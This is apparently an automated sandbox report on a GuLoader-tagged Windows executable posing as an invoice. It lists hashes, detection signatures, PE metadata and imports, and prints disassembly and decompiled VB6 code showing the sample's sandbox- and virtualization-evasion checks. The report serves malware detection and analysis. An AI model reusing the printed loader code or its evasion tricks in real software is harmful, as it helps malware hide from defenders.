Loading ...

Play interactive tourEdit tour

Analysis Report 315800_Invoice_confirmation.exe

Overview

General Information

Sample Name:315800_Invoice_confirmation.exe
Analysis ID:337599
MD5:18e2c9f5c6e870ffd1e639e286ab38bc
SHA1:a87e892f654ae12167b934eef883562e6d7284ba
SHA256:91a75290effdceda2b1b0a8c2a16db9e172f406ae6ecce19539b0bdc5656613f
Tags:CharterexeGuLoader

Most interesting Screenshot:

Detection

GuLoader
Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Potential malicious icon found
Yara detected GuLoader
Executable has a suspicious name (potential lure to open the executable)
Initial sample is a PE file and has a suspicious name
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Yara detected VB6 Downloader Generic
Abnormal high CPU Usage
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to read the PEB
PE file contains strange resources
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Startup

  • System is w10x64
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
Process Memory Space: 315800_Invoice_confirmation.exe PID: 6016JoeSecurity_VB6DownloaderGenericYara detected VB6 Downloader GenericJoe Security
    Process Memory Space: 315800_Invoice_confirmation.exe PID: 6016JoeSecurity_GuLoaderYara detected GuLoaderJoe Security

      Sigma Overview

      No Sigma rule has matched

      Signature Overview

      Click to jump to signature section

      Show All Signature Results

      AV Detection:

      barindex
      Multi AV Scanner detection for submitted fileShow sources
      Source: 315800_Invoice_confirmation.exeReversingLabs: Detection: 10%
      Source: 315800_Invoice_confirmation.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

      System Summary:

      barindex
      Potential malicious icon foundShow sources
      Source: initial sampleIcon embedded in PE file: bad icon match: 20047c7c70f0e004
      Executable has a suspicious name (potential lure to open the executable)Show sources
      Source: 315800_Invoice_confirmation.exeStatic file information: Suspicious name
      Initial sample is a PE file and has a suspicious nameShow sources
      Source: initial sampleStatic PE information: Filename: 315800_Invoice_confirmation.exe
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeProcess Stats: CPU usage > 98%
      Source: 315800_Invoice_confirmation.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
      Source: 315800_Invoice_confirmation.exe, 00000000.00000000.248945860.0000000000417000.00000002.00020000.sdmpBinary or memory string: OriginalFilenamegeochr.exe vs 315800_Invoice_confirmation.exe
      Source: 315800_Invoice_confirmation.exeBinary or memory string: OriginalFilenamegeochr.exe vs 315800_Invoice_confirmation.exe
      Source: 315800_Invoice_confirmation.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
      Source: classification engineClassification label: mal84.rans.troj.evad.winEXE@1/0@0/0
      Source: 315800_Invoice_confirmation.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeSection loaded: C:\Windows\SysWOW64\msvbvm60.dllJump to behavior
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: 315800_Invoice_confirmation.exeReversingLabs: Detection: 10%

      Data Obfuscation:

      barindex
      Yara detected GuLoaderShow sources
      Source: Yara matchFile source: Process Memory Space: 315800_Invoice_confirmation.exe PID: 6016, type: MEMORY
      Yara detected VB6 Downloader GenericShow sources
      Source: Yara matchFile source: Process Memory Space: 315800_Invoice_confirmation.exe PID: 6016, type: MEMORY
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00408627 push ss; iretd 0_2_004085E8
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00406B64 push 0000005Fh; iretd 0_2_00406B9D
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00408578 push ss; iretd 0_2_004085E8
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

      Malware Analysis System Evasion:

      barindex
      Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
      Source: 315800_Invoice_confirmation.exeBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
      Tries to detect virtualization through RDTSC time measurementsShow sources
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeRDTSC instruction interceptor: First address: 0000000000404336 second address: 0000000000404336 instructions: 0x00000000 rdtsc 0x00000002 wait 0x00000003 wait 0x00000004 dec esi 0x00000005 nop 0x00000006 nop 0x00000007 cmp esi, 00000000h 0x0000000a jne 00007F7040C3D2D6h 0x0000000c rdtsc
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_004230E9 rdtsc 0_2_004230E9
      Source: 315800_Invoice_confirmation.exeBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_004230E9 rdtsc 0_2_004230E9
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00425177 mov eax, dword ptr fs:[00000030h]0_2_00425177
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00424B45 mov eax, dword ptr fs:[00000030h]0_2_00424B45
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00424B52 mov eax, dword ptr fs:[00000030h]0_2_00424B52
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00425C5D mov eax, dword ptr fs:[00000030h]0_2_00425C5D
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00425C62 mov eax, dword ptr fs:[00000030h]0_2_00425C62
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00425C2E mov eax, dword ptr fs:[00000030h]0_2_00425C2E
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00422D7B mov eax, dword ptr fs:[00000030h]0_2_00422D7B
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00421EDA mov eax, dword ptr fs:[00000030h]0_2_00421EDA
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00421E92 mov eax, dword ptr fs:[00000030h]0_2_00421E92
      Source: C:\Users\user\Desktop\315800_Invoice_confirmation.exeCode function: 0_2_00421EA6 mov eax, dword ptr fs:[00000030h]0_2_00421EA6
      Source: 315800_Invoice_confirmation.exe, 00000000.00000002.1263784785.0000000000CC0000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
      Source: 315800_Invoice_confirmation.exe, 00000000.00000002.1263784785.0000000000CC0000.00000002.00000001.sdmpBinary or memory string: Progman
      Source: 315800_Invoice_confirmation.exe, 00000000.00000002.1263784785.0000000000CC0000.00000002.00000001.sdmpBinary or memory string: SProgram Managerl
      Source: 315800_Invoice_confirmation.exe, 00000000.00000002.1263784785.0000000000CC0000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd,
      Source: 315800_Invoice_confirmation.exe, 00000000.00000002.1263784785.0000000000CC0000.00000002.00000001.sdmpBinary or memory string: Progmanlock

      Mitre Att&ck Matrix

      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid AccountsWindows Management InstrumentationPath InterceptionProcess Injection1Process Injection1OS Credential DumpingSecurity Software Discovery211Remote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
      Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsObfuscated Files or Information1LSASS MemoryProcess Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerSystem Information Discovery11SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.

      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      315800_Invoice_confirmation.exe11%ReversingLabsWin32.Trojan.Generic

      Dropped Files

      No Antivirus matches

      Unpacked PE Files

      No Antivirus matches

      Domains

      No Antivirus matches

      URLs

      No Antivirus matches

      Domains and IPs

      Contacted Domains

      No contacted domains info

      Contacted IPs

      No contacted IP infos

      General Information

      Joe Sandbox Version:31.0.0 Red Diamond
      Analysis ID:337599
      Start date:08.01.2021
      Start time:20:08:44
      Joe Sandbox Product:CloudBasic
      Overall analysis duration:0h 11m 2s
      Hypervisor based Inspection enabled:false
      Report type:full
      Sample file name:315800_Invoice_confirmation.exe
      Cookbook file name:default.jbs
      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
      Number of analysed new started processes analysed:38
      Number of new started drivers analysed:0
      Number of existing processes analysed:0
      Number of existing drivers analysed:0
      Number of injected processes analysed:0
      Technologies:
      • HCA enabled
      • EGA enabled
      • HDC enabled
      • AMSI enabled
      Analysis Mode:default
      Analysis stop reason:Timeout
      Detection:MAL
      Classification:mal84.rans.troj.evad.winEXE@1/0@0/0
      EGA Information:Failed
      HDC Information:
      • Successful, ratio: 10% (good quality ratio 5.4%)
      • Quality average: 29.4%
      • Quality standard deviation: 31.6%
      HCA Information:Failed
      Cookbook Comments:
      • Adjust boot time
      • Enable AMSI
      • Found application associated with file extension: .exe
      • Override analysis time to 240s for sample files taking high CPU consumption
      Warnings:
      Show All
      • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, MusNotifyIcon.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe

      Simulations

      Behavior and APIs

      No simulations

      Joe Sandbox View / Context

      IPs

      No context

      Domains

      No context

      ASN

      No context

      JA3 Fingerprints

      No context

      Dropped Files

      No context

      Created / dropped Files

      No created / dropped files found

      Static File Info

      General

      File type:PE32 executable (GUI) Intel 80386, for MS Windows
      Entropy (8bit):5.64320248973294
      TrID:
      • Win32 Executable (generic) a (10002005/4) 99.96%
      • Generic Win/DOS Executable (2004/3) 0.02%
      • DOS Executable Generic (2002/1) 0.02%
      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
      File name:315800_Invoice_confirmation.exe
      File size:94208
      MD5:18e2c9f5c6e870ffd1e639e286ab38bc
      SHA1:a87e892f654ae12167b934eef883562e6d7284ba
      SHA256:91a75290effdceda2b1b0a8c2a16db9e172f406ae6ecce19539b0bdc5656613f
      SHA512:3236b71e290b486febef1b60f9fcdb0f84f4595f1605c2fef9b49c85537dc86c8d51d15eb6c93e84a369aacc28c39c00be0ae0ad542a9ba3666c3367262ffc5d
      SSDEEP:768:JSxchMqP008iO0kx/BGJZwI6Zqp5X5LwxBS0kCjYjt8/mTk2ZISmQwEVH8ZvBaWY:phMp52f5LwbWumT1oREVH8Xx2
      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W...W...W...K...W...u...W...q...W..Rich.W..........................PE..L....[._.................@...0...............P....@

      File Icon

      Icon Hash:20047c7c70f0e004

      Static PE Info

      General

      Entrypoint:0x401600
      Entrypoint Section:.text
      Digitally signed:false
      Imagebase:0x400000
      Subsystem:windows gui
      Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
      DLL Characteristics:
      Time Stamp:0x5FF85B8B [Fri Jan 8 13:18:03 2021 UTC]
      TLS Callbacks:
      CLR (.Net) Version:
      OS Version Major:4
      OS Version Minor:0
      File Version Major:4
      File Version Minor:0
      Subsystem Version Major:4
      Subsystem Version Minor:0
      Import Hash:690ed9eee3aab240a93936dee17050b4

      Entrypoint Preview

      Instruction
      push 00401C64h
      call 00007F70410BA195h
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      xor byte ptr [eax], al
      add byte ptr [eax], al
      cmp byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      adc al, 26h
      daa
      cdq
      cwde
      test dword ptr [ebx+04D58C4Ah], D1E7AB14h
      scasb
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add dword ptr [eax], eax
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      push ebx
      je 00007F70410BA214h
      outsd
      add byte ptr fs:[eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      dec esp
      xor dword ptr [eax], eax
      sbb dword ptr [ebp-5AEB9045h], eax
      add dword ptr [edx+41h], FFFFFF80h
      movsb
      nop
      aam 60h
      mov ebp, 466C97E5h
      and ebp, dword ptr [esp+ecx*4+36h]
      dec edx
      inc edi
      test al, 12h
      inc esi
      inc edi
      mov dword ptr [edx-6Fh], esi
      stosd
      cmp cl, byte ptr [edi-53h]
      xor ebx, dword ptr [ecx-48EE309Ah]
      or al, 00h
      stosb
      add byte ptr [eax-2Dh], ah
      xchg eax, ebx
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      test dword ptr [ebx], 003F0000h
      add byte ptr [eax], al
      add byte ptr [4E554600h], al
      dec ebx
      push esp
      add byte ptr [46000601h], cl
      inc ecx
      push ebx
      push esp
      push ebx
      dec esp
      add byte ptr [ecx], bl
      add dword ptr [eax], eax
      inc edx
      add byte ptr [edx], ah
      add eax, 46000624h

      Data Directories

      NameVirtual AddressVirtual Size Is in Section
      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
      IMAGE_DIRECTORY_ENTRY_IMPORT0x13c640x28.text
      IMAGE_DIRECTORY_ENTRY_RESOURCE0x170000x89c.rsrc
      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
      IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x2380x20
      IMAGE_DIRECTORY_ENTRY_IAT0x10000x184.text
      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

      Sections

      NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
      .text0x10000x132480x14000False0.397985839844data6.09132566507IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
      .data0x150000x14b00x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
      .rsrc0x170000x89c0x1000False0.16015625data1.83715099112IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

      Resources

      NameRVASizeTypeLanguageCountry
      RT_ICON0x1776c0x130data
      RT_ICON0x174840x2e8data
      RT_ICON0x1735c0x128GLS_BINARY_LSB_FIRST
      RT_GROUP_ICON0x1732c0x30data
      RT_VERSION0x171500x1dcdataChineseTaiwan

      Imports

      DLLImport
      MSVBVM60.DLL_CIcos, _adj_fptan, __vbaHresultCheck, __vbaVarMove, __vbaFreeVar, __vbaLenBstr, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaStrCat, __vbaHresultCheckObj, __vbaLenBstrB, _adj_fdiv_m32, __vbaAryDestruct, __vbaLateMemSt, __vbaExitProc, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, __vbaVarTstEq, __vbaAryConstruct2, __vbaR4Str, __vbaObjVar, DllFunctionCall, _adj_fpatan, __vbaLateIdCallLd, __vbaRedim, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, __vbaDateVar, _CIlog, __vbaFileOpen, __vbaNew2, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaI4Var, __vbaVarDup, __vbaLateMemCallLd, _CIatan, __vbaStrMove, __vbaUI1Str, _allmul, _CItan, __vbaFPInt, _CIexp, __vbaFreeStr, __vbaFreeObj

      Version Infos

      DescriptionData
      Translation0x0404 0x04b0
      ProductVersion1.00
      InternalNamegeochr
      FileVersion1.00
      OriginalFilenamegeochr.exe
      ProductNameLogaritm

      Possible Origin

      Language of compilation systemCountry where language is spokenMap
      ChineseTaiwan

      Network Behavior

      No network behavior found

      Code Manipulations

      Statistics

      CPU Usage

      Click to jump to process

      Memory Usage

      Click to jump to process

      System Behavior

      General

      Start time:20:09:45
      Start date:08/01/2021
      Path:C:\Users\user\Desktop\315800_Invoice_confirmation.exe
      Wow64 process (32bit):true
      Commandline:'C:\Users\user\Desktop\315800_Invoice_confirmation.exe'
      Imagebase:0x400000
      File size:94208 bytes
      MD5 hash:18E2C9F5C6E870FFD1E639E286AB38BC
      Has elevated privileges:true
      Has administrator privileges:true
      Programmed in:Visual Basic
      Reputation:low

      Disassembly

      Code Analysis

      Reset < >

        Executed Functions

        C-Code - Quality: 48%
        			E0041143E(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				char _v32;
        				char _v36;
        				void* _v40;
        				char* _v48;
        				char _v56;
        				intOrPtr _v64;
        				char _v72;
        				intOrPtr _v80;
        				char _v88;
        				intOrPtr _v96;
        				char _v104;
        				char* _v112;
        				char _v120;
        				char _v172;
        				short _v176;
        				signed int _v180;
        				intOrPtr* _v184;
        				signed int _v188;
        				short _v192;
        				intOrPtr* _v204;
        				signed int _v208;
        				signed int _v212;
        				signed int _t102;
        				signed int _t107;
        				char* _t111;
        				short _t115;
        				signed int _t124;
        				short _t130;
        				void* _t154;
        				void* _t156;
        				intOrPtr _t157;
        				char* _t167;
        
        				_t157 = _t156 - 0xc;
        				 *[fs:0x0] = _t157;
        				L004013C0();
        				_v16 = _t157;
        				_v12 = 0x401308;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4013c6, _t154);
        				if( *0x4155f8 != 0) {
        					_v204 = 0x4155f8;
        				} else {
        					_push(0x4155f8);
        					_push(0x4028e4);
        					L00401558();
        					_v204 = 0x4155f8;
        				}
        				_v176 =  *_v204;
        				_t102 =  *((intOrPtr*)( *_v176 + 0x14))(_v176,  &_v40);
        				asm("fclex");
        				_v180 = _t102;
        				if(_v180 >= 0) {
        					_v208 = _v208 & 0x00000000;
        				} else {
        					_push(0x14);
        					_push(0x4028d4);
        					_push(_v176);
        					_push(_v180);
        					L00401552();
        					_v208 = _t102;
        				}
        				_v184 = _v40;
        				_t107 =  *((intOrPtr*)( *_v184 + 0x100))(_v184,  &_v172);
        				asm("fclex");
        				_v188 = _t107;
        				if(_v188 >= 0) {
        					_v212 = _v212 & 0x00000000;
        				} else {
        					_push(0x100);
        					_push(0x4028f4);
        					_push(_v184);
        					_push(_v188);
        					L00401552();
        					_v212 = _t107;
        				}
        				_v192 =  ~(0 | _v172 == 0x00400000);
        				L0040152E();
        				_t111 = _v192;
        				if(_t111 != 0) {
        					_push(0x402908);
        					_push(0x402910);
        					L004015AC();
        					_v48 = _t111;
        					_v56 = 8;
        					_push( &_v56);
        					_push( &_v72);
        					L0040151C();
        					_v112 = 0x402910;
        					_v120 = 0x8008;
        					_push( &_v72);
        					_t115 =  &_v120;
        					_push(_t115);
        					L004015DC();
        					_v176 = _t115;
        					_push( &_v72);
        					_push( &_v56);
        					_push(2);
        					L004015BE();
        					_t111 = _v176;
        					if(_t111 != 0) {
        						_push(2);
        						_push(0x4026bc);
        						_push(0x4026c4);
        						L004015AC();
        						L004015B2();
        						_push(_t111);
        						_push(0x4026cc);
        						L004015AC();
        						L004015B2();
        						_push(_t111);
        						_push(0x4026cc);
        						_push(0);
        						L00401516();
        						asm("sbb eax, eax");
        						_v176 =  ~( ~(_t111 - 3) + 1);
        						_push( &_v36);
        						_push( &_v32);
        						_push(2);
        						L004015A6();
        						_t111 = _v176;
        						_t167 = _t111;
        						if(_t167 != 0) {
        							L00401510();
        							L004015A0();
        							asm("fcomp qword [0x401250]");
        							asm("fnstsw ax");
        							asm("sahf");
        							if(_t167 == 0) {
        								_v112 = 0x80020004;
        								_v120 = 0xa;
        								_t124 = 0x10;
        								L004013C0();
        								asm("movsd");
        								asm("movsd");
        								asm("movsd");
        								asm("movsd");
        								_push(L"oliemalinger");
        								_push(L"stourness");
        								_push(L"Sgsmaalsgrunds7"); // executed
        								L0040157C(); // executed
        								L004015B2();
        								_push(_t124);
        								_push(0);
        								L00401582();
        								asm("sbb eax, eax");
        								_v176 =  ~( ~_t124 + 1);
        								L004015C4();
        								_t111 = _v176;
        								if(_t111 != 0) {
        									_push(0x402ab8);
        									L00401576();
        									if(_t111 == 1) {
        										_push( &_v56);
        										L00401570();
        										_v112 = L"prnumerant";
        										_v120 = 0x8008;
        										_push( &_v56);
        										_t130 =  &_v120;
        										_push(_t130);
        										L004015DC();
        										_v176 = _t130;
        										L0040156A();
        										_t111 = _v176;
        										if(_t111 != 0) {
        											_v96 = 0x80020004;
        											_v104 = 0xa;
        											_v80 = 0x80020004;
        											_v88 = 0xa;
        											_v64 = 0x80020004;
        											_v72 = 0xa;
        											_v112 = L"Topforhandlernes";
        											_v120 = 8;
        											L0040158E();
        											_push( &_v104);
        											_push( &_v88);
        											_push( &_v72);
        											_push(0);
        											_push( &_v56);
        											L00401564();
        											_push( &_v104);
        											_push( &_v88);
        											_push( &_v72);
        											_t111 =  &_v56;
        											_push(_t111);
        											_push(4);
        											L004015BE();
        										}
        									}
        								}
        							}
        						}
        					}
        				}
        				asm("wait");
        				_push(0x4117fb);
        				return _t111;
        			}






































        0x00411441
        0x00411450
        0x0041145c
        0x00411464
        0x00411467
        0x0041146e
        0x0041147d
        0x00411487
        0x004114a4
        0x00411489
        0x00411489
        0x0041148e
        0x00411493
        0x00411498
        0x00411498
        0x004114b6
        0x004114ce
        0x004114d1
        0x004114d3
        0x004114e0
        0x00411502
        0x004114e2
        0x004114e2
        0x004114e4
        0x004114e9
        0x004114ef
        0x004114f5
        0x004114fa
        0x004114fa
        0x0041150c
        0x00411527
        0x0041152d
        0x0041152f
        0x0041153c
        0x00411561
        0x0041153e
        0x0041153e
        0x00411543
        0x00411548
        0x0041154e
        0x00411554
        0x00411559
        0x00411559
        0x00411579
        0x00411583
        0x00411588
        0x00411591
        0x00411597
        0x0041159c
        0x004115a1
        0x004115a6
        0x004115a9
        0x004115b3
        0x004115b7
        0x004115b8
        0x004115bd
        0x004115c4
        0x004115ce
        0x004115cf
        0x004115d2
        0x004115d3
        0x004115d8
        0x004115e2
        0x004115e6
        0x004115e7
        0x004115e9
        0x004115f1
        0x004115fa
        0x00411600
        0x00411602
        0x00411607
        0x0041160c
        0x00411616
        0x0041161b
        0x0041161c
        0x00411621
        0x0041162b
        0x00411630
        0x00411631
        0x00411636
        0x00411638
        0x00411642
        0x00411647
        0x00411651
        0x00411655
        0x00411656
        0x00411658
        0x00411660
        0x00411667
        0x00411669
        0x00411675
        0x0041167a
        0x0041167f
        0x00411685
        0x00411687
        0x00411688
        0x0041168e
        0x00411695
        0x0041169e
        0x0041169f
        0x004116a9
        0x004116aa
        0x004116ab
        0x004116ac
        0x004116ad
        0x004116b2
        0x004116b7
        0x004116bc
        0x004116c6
        0x004116cb
        0x004116cc
        0x004116ce
        0x004116d5
        0x004116da
        0x004116e4
        0x004116e9
        0x004116f2
        0x004116f8
        0x004116fd
        0x00411705
        0x0041170e
        0x0041170f
        0x00411714
        0x0041171b
        0x00411725
        0x00411726
        0x00411729
        0x0041172a
        0x0041172f
        0x00411739
        0x0041173e
        0x00411747
        0x00411749
        0x00411750
        0x00411757
        0x0041175e
        0x00411765
        0x0041176c
        0x00411773
        0x0041177a
        0x00411787
        0x0041178f
        0x00411793
        0x00411797
        0x00411798
        0x0041179d
        0x0041179e
        0x004117a6
        0x004117aa
        0x004117ae
        0x004117af
        0x004117b2
        0x004117b3
        0x004117b5
        0x004117ba
        0x00411747
        0x00411705
        0x004116f2
        0x00411688
        0x00411669
        0x004115fa
        0x004117bd
        0x004117be
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 0041145C
        • __vbaNew2.MSVBVM60(004028E4,004155F8,?,?,?,?,004013C6), ref: 00411493
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028D4,00000014), ref: 004114F5
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,00000100), ref: 00411554
        • __vbaFreeObj.MSVBVM60 ref: 00411583
        • __vbaStrCat.MSVBVM60(00402910,00402908), ref: 004115A1
        • #522.MSVBVM60(?,00000008,00402910,00402908), ref: 004115B8
        • __vbaVarTstEq.MSVBVM60(00008008,?,?,00000008,00402910,00402908), ref: 004115D3
        • __vbaFreeVarList.MSVBVM60(00000002,00000008,?,00008008,?,?,00000008,00402910,00402908), ref: 004115E9
        • __vbaStrCat.MSVBVM60(004026C4,004026BC,00000002,?,?,004013C6), ref: 0041160C
        • __vbaStrMove.MSVBVM60(004026C4,004026BC,00000002,?,?,004013C6), ref: 00411616
        • __vbaStrCat.MSVBVM60(004026CC,00000000,004026C4,004026BC,00000002,?,?,004013C6), ref: 00411621
        • __vbaStrMove.MSVBVM60(004026CC,00000000,004026C4,004026BC,00000002,?,?,004013C6), ref: 0041162B
        • __vbaInStr.MSVBVM60(00000000,004026CC,00000000,004026CC,00000000,004026C4,004026BC,00000002,?,?,004013C6), ref: 00411638
        • __vbaFreeStrList.MSVBVM60(00000002,00000002,004026BC,00000000,004026CC,00000000,004026CC,00000000,004026C4,004026BC,00000002,?,?,004013C6), ref: 00411658
        • __vbaFPInt.MSVBVM60(004026C4,004026BC,00000002,?,?,004013C6), ref: 00411675
        • __vbaFpR8.MSVBVM60(004026C4,004026BC,00000002,?,?,004013C6), ref: 0041167A
        • __vbaChkstk.MSVBVM60 ref: 0041169F
        • #689.MSVBVM60(Sgsmaalsgrunds7,stourness,oliemalinger), ref: 004116BC
        • __vbaStrMove.MSVBVM60(Sgsmaalsgrunds7,stourness,oliemalinger), ref: 004116C6
        • __vbaStrCmp.MSVBVM60(00000000,00000000,Sgsmaalsgrunds7,stourness,oliemalinger), ref: 004116CE
        • __vbaFreeStr.MSVBVM60(00000000,00000000,Sgsmaalsgrunds7,stourness,oliemalinger), ref: 004116E4
        • __vbaLenBstr.MSVBVM60(00402AB8,00000000,00000000,Sgsmaalsgrunds7,stourness,oliemalinger), ref: 004116FD
        • #670.MSVBVM60(?,00402AB8,00000000,00000000,Sgsmaalsgrunds7,stourness,oliemalinger), ref: 0041170F
        • __vbaVarTstEq.MSVBVM60(00008008,?,?,00402AB8,00000000,00000000,Sgsmaalsgrunds7,stourness,oliemalinger), ref: 0041172A
